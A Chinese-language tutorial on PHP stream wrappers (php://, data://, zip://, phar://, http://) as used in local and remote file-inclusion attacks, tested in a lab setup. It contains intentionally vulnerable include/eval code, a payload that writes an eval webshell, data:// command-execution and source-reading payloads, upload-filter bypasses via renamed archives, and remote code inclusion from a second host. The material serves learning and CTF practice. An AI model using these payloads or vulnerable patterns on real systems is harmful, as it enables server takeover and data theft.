PHP伪协议
经过一段时间的学习,发现在很多时候需要用到PHP的伪协议做一些处理,在此对PHP伪协议进行简单总结,本文主要对PHP协议进行简单的测试使用,主要以操作为主,进行介绍
0x00 PHP伪协议
常见的文件包含函数:
1.include
2.require
3.include_once
4.require_once
5.highlight_file
6.show _source
7.readfile
8.file_get_contents
9.fopen
10.file
0x01 PHP伪协议事实上就是支持的协议与封装协议(12种)
a. file:// — 访问本地文件系统
b. http:// — 访问 HTTP(s) 网址
c. ftp:// — 访问 FTP(s) URLs
d. php:// — 访问各个输入/输出流(I/O streams)
e. zlib:// — 压缩流
f. data:// — 数据(RFC 2397)
g. glob:// — 查找匹配的文件路径模式
h. phar:// — PHP 归档
i. ssh2:// — Secure Shell 2
j. rar:// — RAR
k. ogg:// — 音频流
l. expect:// — 处理交互式的流
0x02 是否需要截断
a.不需要截断
1 http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt
2 <?php
3 include($_GET['file'])
4 ?>
b.需要截断 (在php版本<=5.2中进行测试是可以使用%00截断的)
1 http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00
2 <?php
3 include($_GET['file'].'.php')
4 ?>
0x03 php://
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
php://input
PHP://协议使用条件:
- 不需要开启allow_url_fopen;
- php://input、php://stdin、php://memory和php://temp需要开启allow_url_include
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype=”multipart/form-data” 的时候 php://input 是无效的。
——php.net
这是官方给的解释,简单来说就是获取post数据。
测试代码:
<?php
$d = file_get_contents('php://input');
//echo $d;
@eval($d)
?>
测试效果:
文件包含指令执行:
测试代码:
<?php @include($_GET["file"]); ?>
测试效果:
文件写入:写入一句话
测试代码:
<?php @include($_GET["file"]); ?>
paylod:<?php fputs(fopen("shell.php","w"), '<?php @eval($_POST["admin"]); ?>’ ); ?>
php://stdin, php://stdout 和 php://stderr
php://stdin、php://stdout 和 php://stderr 允许直接访问 PHP 进程相应的输入或者输出流。 数据流引用了复制的文件描述符,所以如果你打开php://stdin并在之后关了它, 仅是关闭了复制品,真正被引用的 STDIN 并不受影响。 推荐简单使用常量 STDIN、 STDOUT 和 STDERR 来代替手工打开这些封装器。
php://stdin是只读的,php://stdout 和 php://stderr 是只写的。
php://stdin
测试代码:
<?php
while($line = fopen('php://stdin','r'))
{//open our file pointer to read from stdin
echo $line."\n";
echo fgets($line);//读取
}
?>
测试效果:可以看到打开一个文件指针进行读取
php://stdout
测试代码:
<?php
$fd = fopen('php://stdout', 'w');
if ($fd) {
echo $fd."\n";
fwrite($fd, "this is a test file");
fwrite($fd, "\n");
fclose($fd);
}
?>
测试效果:可以看到打开一个文件进行写入
php://stderr
测试代码;
<?php
$stderr = fopen( 'php://stderr', 'w' );
echo $stderr."\n";
fwrite($stderr, "test test test" );
fclose($stderr);
?>
测试效果:打开一个文件指针写入
php://output
php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
测试代码:
<?php
$out=fopen("php://stdout", 'w');
echo $out."\n";
fwrite($out , "this is a test");
fclose($out);
?>
测试效果:
file://
读取文件:
php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
——php.net
简单来讲经常利用它进行base64编码,如
payload:?file=php://filter/read=convert.base64-encode/resource=file:///f:/test.txt
测试代码:
<?php @include($_GET["file"]); ?>
读取目标主机的f:/test.txt文件,可以运用多种过滤器(字符串/转换/压缩/解压),常用于读取文件/源码:
base64解码还原文件:
php://fd
php://fd 允许直接访问指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。
php://memory 和 php://temp
php://memory 和 php://temp 是一个类似文件 包装器的数据流,允许读写临时数据。 两者的唯一区别是 php://memory 总是把数据储存在内存中, 而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。 临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
php://temp 的内存限制可通过添加 /maxmemory:NN 来控制,NN 是以字节为单位、保留在内存的最大数据量,超过则使用临时文件。
0x04 zip:// 、 bzip2:// 、 zlib://
zlib: 的功能类似 gzopen(),但是 其数据流还能被 fread() 和其他文件系统函数使用。 自 PHP 4.3.0 后这个不建议被使用,因为会和其他带“:”字符的文件名混淆; 请使用 compress.zlib:// 作为替代。
compress.zlib://、 compress.bzip2:// 和 gzopen()、bzopen() 是相等的。并且可以在不支持 fopencookie 的系统中使用。
ZIP 扩展 注册了 zip: 封装器。 自 PHP 7.2.0 和 libzip 1.2.0+ 起,加密归档开始支持密码,允许数据流中使用密码。 字节流上下文(stream contexts)中使用 ‘password’ 选项设置密码。
可选项
zlib://file.gz
bzip2://file.bz2
zip://archive.zip#dir/file.txt
——php.net
简单来件就是直接访问压缩包里的文件:
zip://
将phpinfo.txt压缩成phpinfo.zip,实战中可以将压缩文件改为后缀为jpg(phpinfo.jpg)绕过上传限制
使用方法:
zip://archive.zip%23dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
先将要执行的PHP代码写好文件名为phpinfo.txt,将phpinfo.txt进行zip压缩,压缩文件名为phpinfo.zip,如果可以上传zip文件便直接上传,若不能便将phpinfo.zip重命名为phpinfo.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
payload:http://192.168.15.83/php_protocol/test1.php?file=zip://D:/phpStudy/PHPTutorial/WWW/php_protocol/phpinfo.jpg%23phpinfo.txt
bzip2://
使用方法:compress.bzip2://file.bz2
可以使用绝对路径或者相对路径:
http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg
zlib://
使用方法:compress.zlib://file.gz
可以使用绝对路径或者相对路径:
http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg
0x05 data://
经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件
PHP.ini:
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
用法:?file=data://text/plain;base64,[base64编码的指令]
?file=data://text/plain,z指令
效果:以下payload等效
http://192.168.15.83/php_protocol/test1.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
http://192.168.15.83/php_protocol/test1.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
http://192.168.15.83/php_protocol/test1.php?file=data:text/plain,<?php phpinfo()?>
http://192.168.15.83/php_protocol/test1.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
也可以用来读PHP文件源码:
data:text/plain,<?php system('type D:\phpStudy\PHPTutorial\WWW\php_protocol\test1.php')?>//Windows系统下type不生效
data:text/plain,<?php system('cat /var/www/test.php')?>
或者命令执行:
payload:http://192.168.15.83/php_protocol/test1.php?file=data://text/plain,<?php system('systeminfo')?>
0x06 phar://
PHP 归档,常常跟文件包含,文件上传结合着考察。说通俗点就是php解压缩包的一个函数,解压的压缩包与后缀无关。
用法:phar://test.[zip/jpg/png…]/file.txt
其实可以将任意后缀名的文件(必须要有后缀名),只要是zip格式压缩的,都可以进行解压,因此上面可以改为phar://test.test/file.txt也可以运行。
payload:http://192.168.15.83/php_protocol/test1.php?file=phar://phpinfo.jpg/phpinfo.txt
0x07 http://
条件:
allow_url_fopen:on
allow_url_include :on
作用:常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。
本地服务器:192.168.15.94/a.txt
<?php
phpinfo();
?>
payload:http://192.168.15.83/php_protocol/test1.php?file=http://192.168.15.94/a.txt